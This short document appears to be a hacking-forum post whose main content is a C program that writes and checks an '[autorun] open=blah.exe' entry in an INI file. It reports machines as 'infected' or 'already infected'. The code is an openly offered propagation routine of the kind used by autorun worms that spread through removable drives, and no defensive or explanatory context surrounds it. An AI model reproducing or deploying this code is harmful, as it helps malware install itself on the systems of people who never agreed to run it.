Code your App,Advertise,Sell your App,All in one platform...
Go to Link
Penetration Testing,Tools,Tutorials,Programing,Leaks,and more..
C#,C++,VB,Java,Powershell,Bash,and more..
0 Members and 1 Guest are viewing this topic.
/*ReadINI/WriteINIby: stoopid*/#include <windows.h>#include <stdio.h>int WriteINI( char* sINI, char* sFILE );int ReadINI( char* sINI, char* sFILE ); int main(){ if( ReadINI( "C:\\blah.ini", "blah.exe" ) == 0 ) { if( WriteINI( "C:\\blah.ini", "blah.exe" ) == 0 ) { printf( ">infected" ); } } else { printf( "<already infected" ); } getchar( ); return( 0 );}int WriteINI( char* sINI, char* sFILE ){ bool bWrite = WritePrivateProfileString( "autorun", "open", sFILE, sINI ); if( bWrite == false ) { return( 1 ); } return( 0 );}int ReadINI( char* sINI, char* sFILE ){ char szBuffer[260]; unsigned long lRead = GetPrivateProfileString( "autorun", "open", NULL, szBuffer, sizeof( szBuffer ), sINI ); if( lRead != 0 ) { if( strstr( szBuffer, sFILE ) ) { return( 1 ); } } return( 0 );}